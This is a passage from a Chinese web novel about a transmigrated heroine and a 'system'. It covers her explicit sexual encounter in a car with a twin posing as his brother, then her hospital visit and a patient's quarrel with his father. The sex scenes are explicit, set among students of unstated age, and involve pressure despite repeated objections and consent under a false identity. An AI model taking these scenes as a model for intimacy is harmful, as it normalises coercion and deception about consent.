两个人今天本来早就该回到学校,却被人突然截胡了,韶景荻一时走不开,便临时起意,让他代替身份,先回学校帮帮他最近很感兴趣的那个玩具,渡过难关。 这是小事,韶景戈和弟弟经常互换身份,从没有人认出来过……问题在于,他不喜欢那个“玩具。” 两人的喜好一向趋同,从未有差,这大概是他这辈子第1次和弟弟产生分歧。 韶景戈手里的烟燃了一半,面带微笑,俊雅的脸上略带嘲讽,他掐灭了烟包在纸巾里,扔到一边的垃圾桶,“不会,我不喜欢她。” “那就好,希望你信守承诺哦。”韶景荻笑眯眯地挂了电话。 韶景戈挂断电话,脸色沉着,安静地等待,直到弟弟的玩具出现。 安蔓站在离他还有两三米的地方,黑衣黑裤,朴素美丽,脸庞光洁白皙,在灯光下纤毫毕现。 韶景戈淡淡评价了一下,她从外貌上确实是两人都感兴趣的样子。可惜,太无趣了,没意思。 然后熟练地露出了一个灿烂笑容,对她招了招手,“你好啊,公主,我在这里!” 安蔓却生气了,她怒气冲冲地扑过来,跳到他的身上,重重勒着他脖子,踹了他一脚,掐他的手臂,踩他的脚,气的半死,“你不是说会帮我吗?你为什么没来!你不知道我今天晚上过的多么担心受怕。” 韶景戈没想到她一上来就是发疯,愣了一下,一动不动,皱眉握住她的胳膊:“你干什么!” 安蔓拳打脚踢,踩他的脚,踹他的肚子,扯着他的领带,故意勒他脖子,怒气冲冲,“都怪你,说话不算数!” 她又蛮横又无赖,乱发的脾气,让人火冒三场,摸不着头脑,一股反感直直上窜,韶景戈只能按住她的手扭在身后,狼狈地将人按在身上,掐着她的腰,“好好说话!” 她两条腿都踩在他的皮鞋上,故意反复碾压,在一尘不染的定制皮鞋上,留下两个重重的灰脚印,“我哪里没有好好说话了,不是你先失约的吗?我只不过说了你几句,你就对我发火。我好伤心。” 韶景戈看着自己被灰尘踩脏的皮鞋,压着眉,“……这就是你表达不满的方式?” 她却又突然不发火不泄愤了,就着这个姿势依偎在他的怀里,姿态柔柔的声音又轻又软,呼吸往他的脖子里吐,“可是我真的好生气,好伤心,今晚真的好害怕,你要安慰我。” 韶景戈感觉一簇一簇温热的呼吸萦绕在他的脖颈,让他的汗毛微微竖起,身体本能地想要退后,手不自觉的放松了,“什么?” 安蔓抽出双手,握着他的领带,一点一点抽下来,楚楚可怜说,“安慰我一下好吗。对了,你和你哥的共感是真的吗?” “……什么?” 安蔓如同美女蛇般缠着他,搂着他的脖子,娇柔的声音清清楚楚地传了过来,“我是问,是如果我在这里玩你,他能感觉到吗?” 60-70 第61章 第61章装货 61. 韶景戈:“……” 韶景戈表情灿烂,眼神却凉,“你想玩‘韶景荻’?” 安蔓眼波流转,踮起脚尖,不动声色地将人狠狠一踩。 对方皮鞋硬,身体好,被这么踩了,表情都没变。 她哼了一声:“怎么,你不愿意安慰我吗?” 韶景戈维持着弟弟一贯的表情,眼神凉凉地审视她,她用冷淡漂亮的脸,说着轻浮放荡的话,一边踩他,一边紧紧搂着他的肩膀,非常用力,指尖都要掐在他的肉里,简直像是蓄意报复。 韶景荻不会拒绝这种提议 新奇的体验,刺激的感觉,只要足够有趣就会无条件配合。 他也一样。 不过韶景戈更克制。两个人虽然是双胞胎,他出生了早几分钟,成了哥哥。 韶景荻出生晚,身体很差,全家都纵着他,所以性格更加无法无天。家庭优渥,所有人综容,所有想要的东西都触手可及,导致容易倦怠,一旦出现有意思的东西,便会迅速沉迷,从不考虑后果。起初是各式各样的小动物,到现在是人。 他习惯了照顾弟弟,韶景荻也同样在意他,两人从小审美一致,宠物,衣服,身份,都是共享的。 但是,人无法共享。 哪怕更早发现安蔓身上的变化,注意到她。 在发现弟弟第一次在安蔓身上投注目光后,他也谨慎地保持距离。 幸好安蔓颇为无趣,放弃了,也不可惜。 安蔓感觉韶景荻今天怪怪的,忍不住又踹一脚,踩在他的小腿质问:“你今天怎么没来啊。” 韶景戈语气活泼,“今天是一个意外,公主殿下。” 安蔓更烦了!她现在听不了这个字眼,眉目冷了下来,心情烦躁,冷冷淡淡说,“这里好冷。” 韶景戈想看她要做什么:“到车上说去吧。” 这是一辆纯黑的超跑,里面完全没有任何拉风的地方,配饰简单,没有装饰,甚至没喷香水,真不像韶景荻的风格,反而像他那个哥哥,一个字,装。 不是江赫那种冷若冰霜的淡,而是那种虽然外貌俊逸,斯文有礼,看起来亲切体贴,其实骨子里什么也看不起的装。 车门关上了,室内室外却一个温度。 安蔓摸着自己的胳膊,娇滴滴说,“还是冷。” 韶景戈开了车载空调,调了热风,滴的一声,伴随着出风口的轻微嗡动,温度上升。 安蔓又不满意了,用手扇着风,“热起来了。” 她的眼珠子转了一圈,确认了一遍,“你和别人没有发生过关系吗。” 虽然书里说过,这些男主都是干净的,没有经验,但是她总担心有意外,膈应。 韶景戈的表情浮现出一点错愕,简直像是被这个问题羞辱了!“……你在说什么?” “那就好。” 安蔓从他的表情中得到了回答,终于满意了,她脱掉鞋子,雪白的小腿踩在沙发上,脚趾微微弓起,脚背上透着淡淡的红,热气氤氲,出风口正好对着吹,让她脸颊也红了起来。 她不耐热,体质又弱,怕冷又怕热,温度一上来,皮肤红的很快,白里透粉,像是熟透的樱桃,带着一种糜艳潮红的色泽。 额头上也有点出汗,她有点生气,一脚踹过去,“你是不是故意的!” 韶景戈第一次和她正面接触,没见过这么不讲道理的人,眉间压了压,握住她的小腿往下拽,“好好说话!” 他看了眼温度,确实调高了,但他穿的比安蔓多,也没感觉有什么,没见过这么受不了热的人,真不知道夏天该怎么过。 安蔓小腿颤了一下,没有收回,对方身上倒是冷的。 她主动握住对方的手,体温凉凉的,正适合降温,娇滴滴地拉着他的手盖在胸口,“太热了,帮我降降温吧。” 韶景荻今天也是一样,带着一股做作劲,总而言之就是装,让人很不顺眼:“自重。” 安蔓烦了:“装什么,不是你想要的吗!” 她屈起膝盖,故意向前,恶意向下碾了碾,“装货,藏都藏不住了,把衣服脱了,让我看看你的资本。” 第62章 第62章玩 62. 黑色跑车停在风纪会楼下。 午夜时分,学生三三两两,成群走过,但很少有人注意到这个角落。 隐隐约约飘来的说话声,在夜色中清晰无比,也让一切显得更加刺激。 空调被调低了,车内温度平稳下降。 但安蔓还是出了汗,她略带水汽的手指按在玻璃窗上,脸颊嫣红,轻咬嘴唇,洁白的手指攥紧了,在单向可视窗上留下一个湿印。 安蔓不是很舒服,“停!” 对方从一开始就装腔作势,欲拒还迎,什么都不肯做。 口里先是说要“自重”,又让她“别乱动”,最后甚至按住她的肩膀,微愠地深吸一口气,灰色瞳孔里燃着反感,似乎想要继续制止。 安蔓没什么耐心,按住他的手指,娇滴滴地让他给身体内部降降温。 最后他终于肯了,但动作还是非常勉强。 折折腾腾半天,让人不上不下,卡在半空。 特别是那副神态,搞得像是安蔓在强制他一样! 她吐出一口气,轻轻踹了人一脚,有点不满,“你行不行啊。” 韶景戈衣领微微松开,外套铺在皮质沙发上,领口已经被汗水打湿。他头发微乱,额头出了汗,轮廓俊美的微微发红。 他按着额角,表情空白,像是被什么事冲击到,“……” 安蔓懒得去理解他的心路历程,不悦道:“算了,你太烂了。把衣服脱了。” 这人终于有了反应,“……什么?” 安蔓盯着他,这人衣冠楚楚,灰色高领毛衣,深色西装大衣,戴着银色机械表。垂着浓密的眼睑,气质斯文俊秀,带着股高高在上感。是很适合脱衣服的长相。 但凑近了,先察觉到的却是一股淡淡的烟味。 并不难闻,带着草木气。 不是廉价烟,气味也不重,但是安蔓对一切烟都反感。 她捂着鼻子斥责,“你怎么还抽烟啊,真讨厌!” 韶景戈额头跳了一下,忍不住伸出手,按了按。 大脑眩晕,头昏脑胀,温度大概是调的太高,将他的五感冲昏了,将一切搅的乱七八糟。他已经开始感到后悔,根本不该让安蔓进入车内。更准确来说,应该让她自生自灭,不该经不起弟弟的要求,答应在这个夜晚开一个小时的车来到学校。 本来只是好奇安蔓会怎么样做,却不知不觉被带着走。一切都进入车内开始变得乱七八糟,最好的选择是在现在停下,开门通风,让冰冷的夜风将两人大脑吹醒。然后停下,让她把衣服穿上,把人完整地打包给弟弟。韶景荻会很乐意接收。 韶景戈深呼吸,收回手,瞳孔冷静下来,“你又想干什么?” 安蔓理所当然:“接吻啊。” 韶景戈微微一愣。 安蔓轻轻哼了一声,故意放慢动作,舔了舔嘴角。漂亮的眼睛微微弯起,唇角上泛着鲜艳湿润光泽,带着湿红潮气。 声音娇娇的,甜甜的,像在撒娇,“抽烟了,就不能接吻了。我讨厌烟味。” 韶景戈:“……没抽,只是点着,沾上一点烟味。” 安蔓眼睛眨了眨,眼角弯的更深了,抬脚踩在他的大腿上:“那你把衣服脱了,扔出去,我讨厌烟味儿。” 韶景戈按着额头,更感荒谬,神态愠怒,捏着她的脚踝,刚想呵斥,“够了。”目光却下意识的看了一眼。 她的大腿压在黑色的皮革座椅上,腿根处在座椅边微微挤着,白肉颤巍巍的,被挤压出一抹极为莹白肉感的腿肉,黑是黑,白是白,颜色对比极为鲜明。 他不受控制地眨了下眼,迅速移开目光,深呼吸。 安蔓楚楚可怜:“我很讨厌烟味,真的不能拖吗。” “……好。” 他感觉自己疯了,一边脱下外套。 黑色西装外套,全手工缝制,质感极佳,只是刚刚点烟时染上了点气味。他捏在手里,想也没想扔出窗外。 关门时窗外灌入的冷风,让他稍稍冷静一点,大脑清醒起来,觉得一切简直莫名其妙。 他忍了忍,想说自己不是韶景荻。 背后却突然贴上了一个软绵绵的身体。 “技术真差。我想了半天也不知道,你能做什么。” 安蔓轻哼,“这不会那不会,吃奶总会吧。” “放心,我不玩你,不会让你哥哥知道。” 各种不堪入耳的污言秽语钻到耳朵里。 韶景戈身体僵硬,额头绽开青筋,眼带愠色。 耳边却突然传来衣服落地的声音。 安蔓慢吞吞解开衬衫扣子,“真难伺候啊韶小狗,这样都行了吧。”. 车内温度冷下来。 又重新变热。 这次对方的技术,总算好了一点。 安蔓坐在他的腿上,抱着他的头,压着喉咙里闷哼,鲜红的蓓蕾被碾入唇齿,夸奖,“身上没有烟味了,真乖。” “你以前不是这么害羞的,韶小狗。不过害羞起来也很可爱,尤其是学习能力很强,这点最值得称赞。” 韶景戈垂着睫毛,俊美的脸颊已经红透了,耳朵通红,喉结上下滚动。 他没有说话,现在也说不了话。 不远处走过的学生,细细的议论声,偶尔传来。 忽远忽近,几次让人错觉几乎在耳边。 所以听到电话声响时,安蔓愣了一下,才发现声音来自座椅上的手机。 安蔓蹙着眉,微喘着,勉强捞起电话,点了接通,“嗯……谁、谁啊…!” 对面稍微停顿了一下。 接着传来一道清晰的男声,低沉悦耳,音质动听,如山间流淌的涓涓细流。 很陌生,不是她认识的人。 “我找韶景戈。” 安蔓这才发觉自己拿错了电话,她脸更红了,勉强压着声音,“呜……他不在、不,这里只有韶景荻。” 电话的对面又停顿了一下。 几秒后,才重新开口。 依旧清澈悦耳,非常好听,令人耳朵带了一些不自觉的痒,“那我找韶景荻。” 韶景戈意识到是找他的电话,开始躁动起来,不太安分,想要来争夺电话。 安蔓抓着他的脑袋,往下按,让他老老实实继续吃,一边艰难回复,“他、他在……忙。” 这次对面又迟疑了几秒,男声慢腾腾的,咬字十分清晰,还带了几分优雅的腔调,“那么麻烦你帮我转告一下,有人来找过他。” “好——好的、!” “谢谢。”不知道是不是意识什么,对面很识趣,没有纠缠,一下就挂断了电话。 安蔓闭上眼睛,将手机放下,手指穿过韶景戈毛茸茸的黑发。 耳边却响起了另外一道声音。 系统战战兢兢,特别小声的在耳边突然开口了,“……不知道方不方便,我现在要告诉你一件事,你别怕。” 安蔓:“不太方便,很不方便,非常不方便!” 她有点不高兴了,在这种时候被打扰,简直让人兴致大减。 本来今天心情就不好,现在好不容易愉快一点了,被系统一提醒,她又不高兴了。 安蔓:“你最好保证是重要的事。” 系统的声音迟疑又坚定,支吾几声,鼓起勇气道,“绝对重要!我刚刚翻遍了整本书,发现一件事情……男主三四这对双生子中,弟弟是从不抽烟的,但哥哥偶尔会抽。” 安蔓:“?” 系统:“而且他们两个,非常喜欢互换身份。” 安蔓一时失言。 整句话在她脑中迅速的过了一圈,被快感迷惑迟钝的大脑缓慢旋转,终于得出了一个确定的结论,“你是说这个是哥哥?我被骗了?!” 她手指用力,将胸口的脑袋拽了起来。 韶景戈耳朵红,眼睛也红,嘴唇更是红艳艳,嘴唇还连着一根透明的银丝, “……怎么了。”他问。 这两兄弟从上到下,几乎一模一样。为了让人分辨,他们自己在外表上做了区分。 弟弟有刘海,唇红齿白,显得更青涩顽劣。 哥哥没有,整张脸完全露出,更加英俊沉稳。 现在,韶景戈的刘海完全散了下来,灰色眼睛深黝黝的,嘴唇红艳,透着一股欲色。 他大脑昏沉,微微恍惚。 今天的事彻底乱了套,本来早该阻止,后面却鬼使神差,一错再错。 他伸出手,手背拼命擦干净唇边的水渍,耳朵都红了。 安蔓却莫名其妙,一下子生起了闷气,拉起胸衣就狠狠踩了他一脚,“混蛋!” 韶景戈没有反应过来,“怎么了?” 安蔓怒气冲冲,膝盖恶意碾了下去,故意用力,脸上的表情突然一下子冷了下来,眼睛怀着一点微妙的恶意,轻飘飘地在他耳边撒娇,“不好意思,我要跟你坦白一件事哈,你我发现我好像喜欢上你哥了。” “我觉 得他更英俊帅气可爱,我们三个,能一起玩吗?” 韶景戈绷紧了身体,脑子还没反应过来,声音已经变凉,“荒谬。” “有一个还不够了,你想要兄弟通吃!” 安蔓微微用力,眉毛微扬,突然笑起来,眼中冷淡,脸上的表情却越发灿烂,伸手捧住他的脸,亲密的贴吻,“没办法呀,喜欢就是喜欢。嘬嘬,小狗狗,你说你哥哥喜不喜欢我呀。其实刚才我就在幻想,你的保温杯是粉红色的,他的呢,是不是一模一样。” “他和你一样嘴巴薄,微微上翘,牙齿尖,舌头又热又红,很适合接吻和……舔。做起来应该会很舒服吧。” “你哥哥那张脸,气质太好,稳重又性感,我好喜欢。悄悄告诉你一个秘密,其实上次看到他的时候,我就……软了。” 韶景戈被用力踩着,一边听这些不堪入耳的话,绷紧身体,汗毛战栗,一阵眩晕。 他眉毛皱了起来,脸上露出几分难堪神色,皮肤一阵一阵地战栗,身体紧紧躬起,“住口。” “住口什么?”安蔓雪白的脚尖,踩在黑色的布料上,恶意道,“你说他喜不喜欢我?” 第63章 第63章眼瞎英 63. 黑色西装裤,垂感佳,触感好,随着形状变化,能够完好的凸显轮廓,严严实实包裹着,使它狰狞的表象如同蛰伏的怪物,呼之欲出。 安蔓悠悠说:“真不错啊。” 韶景戈:“……闭嘴。” 安蔓不太高兴,“装货,也不看你自己都成什么样了!” 她不高兴,自然也不想让别人高兴,脚尖往下踩,故意用力,把那块黑色的布料踩的乱七八糟,表面上凸起了褶子。 她真的很烦,这个两兄弟,说不定背后悄悄把她当猴耍呢,在她不知道的地方,不知道互换过多少次身份 他们两个互换身份也容易,把刘海一变,神态一变,任谁也不会怀疑。谁叫这两人长得一模一样,唯一的不同,唯有神态气质附带的一点差异。 兄长沉稳,弟弟顽劣,两个人都不是什么好货色。 故意交换身份,多半是带着什么坏心眼。稍微想一想就更让人生气了。越想,越觉得不能放过他! 安蔓单手撑着下巴,垂眼,浓密的睫毛扇子似地抖了抖,眼睛微微眯了起来,嘴唇扬起,语气天真又好奇。 “真厉害啊,哈尼,没想到你这么有本钱。真想看看,你和你哥哥是不是所有地方都一样。你们不是双胞胎吗?能给我看看?” 韶景戈身体绷紧了,黑色布料被狠狠碾下,头皮一阵紧一阵麻。 他开口,声音都带着咬牙,“你想看,自己,问他!” 安蔓好奇:“我问了,哥哥他会同意吗?” 韶景戈说:“不会。” 安蔓更用力了,微微歪了歪头,好奇,“真的不会吗?” 韶景戈的身体躬得更紧,表情变得更加难堪,手指一下攥紧了裤腿,把那一小块布料捏的皱巴巴的,喘息着说,“……不会。” 安蔓不高兴了,“为什么!” 韶景戈被她弄的不上不下的,斯文扫地,眼尾有点红,眼神甚至有几分凶:“因为我会不高兴。” 这是什么回答?到底谁不高兴谁不同意?! 得了答案,安蔓还是不开心。先是冷笑了几声,后面又轻轻一哼,随即动作越发恶劣起来。 让你装! 韶景戈有点恍惚,他了解自己,在常规的身份下,他绝对不会罔顾弟弟的感情,做出这么……这种事。 他和韶景荻一起长大,两人感情非常好,他还记得小时候弟弟的样子,他五六岁的时候,穿着睡衣,在半夜脸烧红了,被送进医院里。父母佣人都围着他转,长吁短叹,整夜整夜的不睡觉,守在病房里,直到他退烧。 他不可能做出这种事,现在是例外,两个人交换身份的时候,通常会全情演出。 这次……只是配合身份,做出恰当的反应罢了。 黑色布料湿了一块。 韶景戈一阵闷哼。 安蔓的声音软绵绵的,“哎呀。” “嘬嘬嘬。小狗真丢人。尿裤子了。” “韶狗狗,怎么办,这里没裤子给你换。” “住口!”韶景戈直起腰,拉开她的腿,双脚并拢,感觉一阵深深的头痛。 他深深吸了一口气,表情平静下来,伸出手,立刻打开窗户。 午夜时风,风大,冷冰冰的往里面灌,将所有温度和旖旎吹得一干二净。 韶景戈脸上挤出一点假笑,斯斯文文道:“玩够了吧,公投结束了,该回去睡觉了。” “就这?唉,你是第1次吧,时间是快了点,但是可以理解。没关系,我不怪你。” 安蔓皱了皱鼻子,脸上笑容灿烂,上下端详他,目光足以让所有人都不自信,不太高兴的表情在脸上一闪而过,最后定格下来的,还是那种略带玩弄的目光 “你技术挺烂的,说真的,回去练练吧。而且缺点太明显了,我不喜欢抽烟的男人,我希望你下次改掉。” 韶景戈的额头跳了跳,她还挑肥拣瘦上了! 他胸口起伏了几下,好歹做久了大少爷,养气功夫十足,没让自己被气笑出声,“我还得谢谢你提出意见?” 安蔓理所当然的点了点头,“不然呢。” 韶景戈很想让她滚出去!但他不能用弟弟的身份开口,特别是在这种时候,绝不能让她发现。 他荒谬地忍耐着,“还有呢。” 安蔓弯起眼睛:“还有,车里没有套,下次见面的,我希望你买了,能用得上。” “……”见他不回答,反而深深沉默了。安蔓又是忧愁又是担心,只能困惑说,“你今天真的很奇怪。” “……” 她不死心,“真的不能和你哥三人行吗?” “……” 安蔓叹气,“至少下次带套好,好吗?” “……好。” 话说完了,安蔓露出一个灿烂笑容,不再停留,转身便潇洒离开。 等她下车了,韶景戈终于松了口气。 今天晚上的一切荒谬透顶,从头到尾让人瞠目结舌,他必须彻底忘了!手指握着方向盘,余光却不由自主瞟向后视镜,看着她纤细背影。 脚步不紧不慢,简直像是知道有人在背后看她,扭着腰,步伐不疾不徐,慢吞吞。 不像是走路,倒像是走t台,姿态非常好看,走了老半天,才终于走出了路灯尽头,消失在视野。 韶景戈猛然收回视线,目光却瞥过了车镜,看到自己的脸色。通红的,头发还湿了一点,简直像是做了什么见不得人的龌龊事! 他靠着座椅后背,手背挡住眼睛。视野黑了,其它感官却更加清晰,裤子里黏腻腻的,她皮肤白,脚趾也白,动起来却非常恶劣。 一旦靠近了,才发现这是个麻烦人物,道德感很低下,没有廉耻心,故意用各种刺激性的话语 和动作引诱人,按下他的脑袋,最过分的是他却莫名其妙上了钩! 他机械地动着舌头,吮吸着,喉头滚动,手指仿佛有自己的意识,不受控制的大力起来。 对着橡皮又捏又揉,把它揉捏成各种形状。 “叮铃铃——” 电话又响了,手机震动了一下。 韶景戈注意力猛然收回,他头痛欲裂,伸手接了电话,手机里却突然传出韶景荻的声音。 “在吗在吗,喂喂,玉泽有给你打电话吗……喂,听得到吗?是不是电话掉线了!” 韶景戈喉咙堵着,喉结滚动着,“听到了。” “听得到吗哥?我终于被放出来了。玉泽那个神经病!我总算问清楚了,他故意把我们拦下来,就是听说我们学校,出了个“校花”。然后好奇心大作,拦下我们,想看看后果。” 韶景荻的声音闷极了,“连阿朗那里他也掺了一脚。怎么会有这么神经病啊,他的好奇心用在其他地方不好吗!要不是他跑得快,我真想揍他一顿。” 韶景戈:“你没事吧。” 韶景荻漫不经心道:“没什么事,你那里遇到了什么吗?” “没有。”韶景戈皱起眉头。 夜风猛烈吹拂着,彻底让脸上的温度降下。韶景戈正了正领结,这个晚上的事还是在这个晚上结束就好……没必要节外生枝。 他不自觉有点闷,从喉咙里轻轻的吐出了一口气,一边和弟弟聊天,一边接着给助手发信息。 [景荻要回家了,你准备一下。还有,帮我买条裤子。] 助理的作息和他24小时同步,答应了之后,又问:[好的,请问还有什么要准备的?] 还有什么要准备的? “什么都没发生吗?”韶景荻拖长了声音,懒洋洋的,声音大概是混杂了夜风,显得有些低。 “一切正常。”韶景戈回神。 他愣了愣,发现手指在和助理发消息,[你去买一盒t] 最后一个字还没打出来,他已经触电般松了手,用力按住额头。 疯了!. 安蔓跳下车,关上车门。 夜风猛然灌入,让她身体一冷,跳下车的时候,正好踩到了韶景戈扔出来的衣服。黑色的大衣留下脚印。 她不解气,故意原地停留了一会儿,特地多踩几脚。 刚刚入春的时节本来就冷,现在又是午夜身体的温度,一出车门便迅速流失,她没怎么停留,加快脚步向寝室走去,顺便回顾了一下自己的任务。 狂欢日靠作弊完成,但公投遥遥无期。声誉远远不够,这样下去肯定要失败。 还有让男主角做狗的任务。 江赫,不用说了,这个死男人小三都不愿意做,根本不喜欢她! 崔英朗,更是不知道在干什么,废物一个,居然被关起来。 还有这对该死的兄弟……他们居然敢耍她! 这对双胞胎肯定知道她不是本人了,但是,不知道出于什么原因并没有揭穿,而且反而放纵下去。把柄被握在别人手里的感觉非常糟糕。 安蔓踢踢踏踏地踩着地面。 她穿着小皮鞋,踏在地上的时候,哒哒作响,会有非常清晰悦耳的声音。 本来今天晚上纯奔着发泄来的,结果发泄也没有发泄好,心情更糟了。 这群人,真麻烦,为什么不能老老实实做狗呢! 特别是这对双胞胎让她很有危机感。 一点也不可信,还疑似知道了她的秘密。 虽然就算知道了,肯定也猜不透她的身份。顶多往精神分裂,或者人格方面这里去想,但这也足够让人心烦意乱。 想到这里,安蔓有了危机感,她立刻回到房间,找了一面镜子,好好的打量自己。 仍然是未施粉黛,没有任何装饰的情况,镜子里的影子,却比起之前的样子,更加眼熟了。 漆黑的眼睛,苍白的嘴唇,柔软的黑发,还有那种因为疾病,带带的对一切都感到无谓的厌倦神态 ……脆弱而敏锐,感官清晰,身体却无力,只能躺在病床上,感受着生命渐渐流失。 比起最开始的情况,更像了。这样下去,简直不像魂穿,而是连身体也一起带了回来。 安蔓对着镜子转了一圈,甚至惊悚发现,自己小腿上有一颗熟悉的痣,“系统!!!你给我出来!” 系统刚刚在不可描述时,一直保持沉默,除了中途提醒,接着一直老老实实,突然被喊还有点茫然,“怎么了宿主。” 安蔓有点惶恐,她掀起睡裙,按着自己的小腿,捏了捏,表情瞬间阴沉下来,“我记得我刚来的时候,这腿上好像没有这颗痣的,脸也不长这样!” 系统打哈哈:“啊,什么呀?是这样吗!我不知道啊,我们可是正经系统。不可能关注宿主的身体状况的。” 安蔓放下裙摆,如果系统有实体,现在她该掐着他的领子扇脸逼问了,“别给我插科打诨,这是不是就是我自己的身体!” 系统:“我不知道啊,我也是崭新的,我是新手,我什么也不知道啊。” 安蔓不高兴了:“说好了健康的身体,新的人生新的未来和数不尽花不完肆意挥霍的钱和超好攻略的任务呢!” 系统装傻:“我也不知道啊,你问我我问谁呢。哈哈,不知道啊。” 安蔓:“废物!要你何用。” 她知道自己逼问这个废物也问不出来什么,又头疼又有点烦,准备做个身体检查,还有什么,是比检查最可信的?. 狂欢日的第二天,周围的氛围好像更加热烈。 安蔓不管走到哪里,都有视线跟随着。 直白的,隐晦的,耿耿于怀的……各种各样的视线,缠绕在她身上。但没有人搭话,也没有人主动出现在她面前,不识好歹的打扰她。 无论是男生和女生都是一样的。 氛围有点奇怪,具体表现在一个奇怪的方面——没一个人敢和她说话。 “请假。”安蔓把假条按在监理的桌子上。 监理女士这次的态度好了一点,看她通过了考试,勉强有了点好脸色,“唔……请假三天,有什么事吗?” 安蔓随便找个理由,“有。我昨晚受了点惊吓,想休养一下。” 监理女士愣了愣,声音软了一点,理解道,“这个……是该请假。” 狂欢之夜里,所有学生像是发了疯一样,在学校的每个角落肆意妄为,简直像是把它耕了一遍。 昨晚受伤的人,是往年的三倍多,好多人请了病假,其中甚至有贵族学生。 “去吧,假给你批了。”监理说,“注意一下时间。” 安蔓点了点头,道谢了,走出办公室。 她走下楼,打算去医院做个检查,想了想,在手机里翻出一个电话,“陆珈,你应该住院了吧,你在哪家医院来着?我去看看你。”. 医院。 上午,三楼单人病房。 病房十分干净,一层不染,早晨,医生为陆珈做过了检查,调整一下位置,让他坐得更加舒服。 陆珈嘴唇发干,一身病号服,表情却十分兴奋,眼睛充斥着激动,从安蔓手上接过了一束康乃馨,感动道,“你居然还记得我,我好感动,我以为你早就把我忘了!” 安蔓环视一周,陆珈住的和崔英朗一个医院。不过,一个是3楼,一个是顶层。 小富和大贵,位置的对比极为鲜明 安蔓毫不心虚,打着哈哈:“怎么会呢,我怎么可能忘了你呢?你昨晚上还救了我。” 陆珈露出了一个腼腆的笑容,“没关系,我伤的不重,江淮盛才严重呢!哈哈!” 安蔓:“我记得崔少爷也住这里。” 陆珈爽朗一笑,有点不好意思,“是的,毕竟,这里是首都最好的私人医院。” 安蔓敷衍地点了点头,试图从他这里,打听一下情况,“你知道,我追过韶家两个少爷吧。” “嗯嗯,我知道。” 他的眼睛简直是闪闪发亮,目光专注,笑容腼腆羞涩,手指在白色的床铺上揉了揉,有点不好意思又有点高兴,“我很高兴你今天来看我,我真的特别开心……狂欢日的事情,我会帮你保密,是江淮盛帮你作弊了吗?放心放心,我不会说出去的。” 安蔓试图往韶家两兄弟身上扯,得到一点情报,却被他反反复复的往自己身上引,扯了几句,失去耐心,直接道,“我感觉,我也有点难受,想在这里做个全身检查,可以为我帮帮忙吗?” 陆珈有点疑问,“当然。” 他有点好奇,安蔓完全可以找任何一个人帮他,但对方选择了他帮忙,无论如何还是让人感到开心。于是立刻叫来了医生,“拜托您给这位小姐做个检查。” 医生走了进来,“小姐,请跟我来。” 安蔓跟着医生,离开这里,做了全套的身体检查。 她有点心不在焉,对医院环境应激,但是却不得不来,所以全程都不怎么在状态,跟着医生的指示照做。 做完了,医生说,“结束了,小姐。结果您可以自己来取,也可以留一个地址,等报 告出来让我们给你寄去。” 安蔓:“请问,报告要多久才出来。” 医生带着她往外走,“通常是三天到一周,有些结果出来的快,有些项目要慢一点。如果您着急的话,请留一个电话,我们方便通知您。” 安蔓道谢了,留下电话。 她检查完了,心情也不太好,还是觉得烦了,顺便看了眼崔英朗的好感。 [崔英朗当前好感:80] [崔英朗当前好感:-200] [崔英朗当前好感:0] 安蔓:“???”抽风吗。 好歹来了一趟,她不想空手而归。 想了想,翻到崔英朗电话,播了过去. 病房里,气氛僵硬。 电视上,浪漫的爱情剧里,男女主依依不舍的站在悬崖边告别。拥抱、亲吻、热泪。 狗血烂俗的片段,在电视里一幕幕上演,却是静音的,像是无声的哑剧。 崔元戴坐在床边,穿着大衣,戴着围巾,鼻梁上架着无框眼镜,将杂志放在膝盖上,一页页翻着,没有说话。 崔英朗双手抱胸,半坐半躺地靠在病床上,黑色的发丝有些杂乱。他脸色苍白,嘴唇没有血色,纱布已经换了几次,甚至连眼睛部分也罩上了白纱。 他闭着眼睛,面无表情地听着旁边的翻书声,“死老头,还不去工作吗?快滚!” 秘书在旁边紧张擦汗,这对父子闹矛盾也不是一天两天了,最严重时,崔少爷开着车,差点把爹撞死在客厅。 最后,大概是父子情深,车头没有对准,只是从旁边狠狠穿过,玻璃碎片掉了一地。就这样,也只是关了半个月的紧闭。 但那以后,两个人的关系越发剑拔弩张。 崔元戴还是在不紧不慢,翻着杂志,动作没有任何迟缓,他推了推眼镜,盯着财经杂志里的内容:“看书也是我的工作。” 崔英朗烦的要死,他之前头受伤了,医院检查出淤血可能压迫神经,于是又动了手术。最后说愈合的很好。 后面因为擅自出院,不得不回来修养,没想到一到医院,就被这个老不死的关起来! 崔英朗暴躁,“滚,我又不是瞎了!” “你瞎了。” “那是视野模糊!” 崔元戴依旧和气,一页页翻着杂志,在原地坐稳了,身体一动不动,“医生说你昨天又想偷跑,结果被拦下来了,还发了大火,是吗?” “关你屁事。” 崔元戴合上杂志,终于抬起眼看了自己的儿子一眼:“你是为了那个女生,才闯出病房的吗,就那么喜欢吗?” 崔英朗烦躁的要命,他眉压低,五官深,表情阴森森的,不懂这个老不死的到底闹什么!崔家从小就没什么父宠母爱,老不死的从来不管他,现在却来假惺惺的。 他眉头拧起,金色的眼睛睁开,里面饱含戾气,伸手摸住床头插着鲜花的白瓷瓶,看也不看往旁边狠狠一扔,发一阵哗啦巨响! “滚,别在这里烦我!” 崔元戴点了点头:“看来我说对了。你就那么喜欢那个女生,甚至一定要到现在跑出医院?” 崔英朗:“和你有关系吗。” 他头更加痛了,剧烈运动加上大脑受损,休息不足,以及情绪波动大,让他从那天开始,头部就一直剧烈疼痛,甚至影响了视觉,不得不住院休养。养了好几天,好不容易有好转了,又被关起来,哪个人心情会好。 而且……他的心里有种说不出来焦躁。安蔓那种薄情寡义,又爱说谎又会糊弄人的疯女人。发现他消失了,说不定转眼又糊弄别人去了。 一想到这里,他就万分不甘,凭什么!他付出了这么多,凭什么要一无所有,让江赫那种人,甚至韶景荻摘了桃子。 “死老头子,不要因为我妈那里给你施压,你就在这里假惺惺的表演什么父慈子孝,真的很无聊,而且太恶心了。” 崔英朗耐性告罄,拧着眉毛,声音冷了下来,还没人敢一直忤逆他,眼睛又失明,只能耐着性子骂人,“傻x,赶紧跟你小情人去鬼混吧,别来管我了。” 说到这里电话突然响了,他抬了抬手,示意秘书,“给我。” 秘书不敢拒绝,见崔元戴也没表示反对,赶紧拿了起来,念出屏幕上的来电显示,“是安蔓小姐。” 崔英朗一下子挺直了,听到这个名字,忍不住伸手揉了揉脸,一摸,却摸到了自己眼睛上的纱布,表情又变得狰狞起来,支起一口白森森的牙,“接了。” “让他接。”崔元戴,“我也听。” 